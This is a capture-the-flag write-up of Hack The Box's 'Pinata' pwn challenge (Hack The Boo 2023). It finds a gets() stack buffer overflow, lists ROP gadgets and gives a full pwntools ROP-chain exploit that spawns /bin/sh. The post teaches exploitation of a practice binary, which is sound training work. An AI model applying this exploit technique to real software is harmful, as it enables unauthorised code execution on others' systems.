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2000

Hackfest 2024: SNES repo Hackfest 2024: Don’t Trust Developers Hack The Box: Bookworm Hack The Boo 2023: Valhalloween
Hack The Boo 2023: Pinata
vedard · 2023-10-30 · via 2000

Writeup for the “Pinata” challenge created by Hack The Box for the Hack The Boo 2023 CTF.

For this challenge, an executable named pinata is provided along with the address to a TCP server: pwn_pinata.zip

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RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   2100 Symbols      No    0               0               pinata

Using Ghidra, we can decompile the executable to examine its operation. The vulnerability to exploit is a buffer overflow in the gets() function.

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int reader(UI *ui,UI_STRING *uis)

{
  char *pcVar1;
  char local_18 [16];
  
  pcVar1 = gets(local_18);
  return (int)pcVar1;
}

Since the stack is executable, it is possible to send a shellcode to the executable in order to obtain a shell. But during the CTF, I missed this detail and instead used a syscall to start /bin/sh. For this, we can use ROPgadget to verify that the executable contains all the necessary elements.

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$ ROPgadget --binary pinata --only "syscall" | grep syscall
0x0000000000401d24 : syscall

$ ROPgadget --binary pinata --only "pop|ret" | grep rdi
0x0000000000404a14 : pop rdi ; pop rbp ; ret
0x0000000000401f6f : pop rdi ; ret

$ ROPgadget --binary pinata --only "pop|ret" | grep rsi
0x0000000000404a12 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000401f6d : pop rsi ; pop r15 ; ret
0x0000000000409f9e : pop rsi ; ret

$ ROPgadget --binary pinata --only "pop|ret" | grep rdx
0x000000000047f20a : pop rax ; pop rdx ; pop rbx ; ret
0x000000000047f20b : pop rdx ; pop rbx ; ret

$ ROPgadget --binary pinata --string "/bin/sh\x00" | grep "/bin/sh"

The only thing we are missing is the text /bin/sh but it is possible to provide it ourselves using the gets() function.

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#!/usr/bin/env python3
from pwn import *

context(arch="amd64", os="linux")
elf = ELF("pinata", checksec=False)
r = elf.process()

offset = 24
pop_rax = 0x448017
pop_rdi = 0x401f6f
pop_rsi = 0x409f9e
pop_rdx_pop_rbx = 0x47f20b
syscall = 0x401d24
gets = 0x40c270
bss = elf.bss()

payload = flat(
    b"A" * offset,

    # call gets(bess) to insert "/bin/sh" into program memomry
    pop_rdi, bss,
    gets,               

    # call syscall(59, '/bin/sh\x00', 0, 0) to launch /bin/sh
    pop_rax, 59,
    pop_rdi, bss,
    pop_rsi, 0,
    pop_rdx_pop_rbx, 0, 0x13371337,
    syscall,    
)

r.sendlineafter('>>', payload)
r.sendline("/bin/sh\x00")
r.interactive()

When we send our payload to the TCP server, it is possible to retrieve the flag.

Pinata Exploit

This post is licensed under CC BY 4.0 by the author.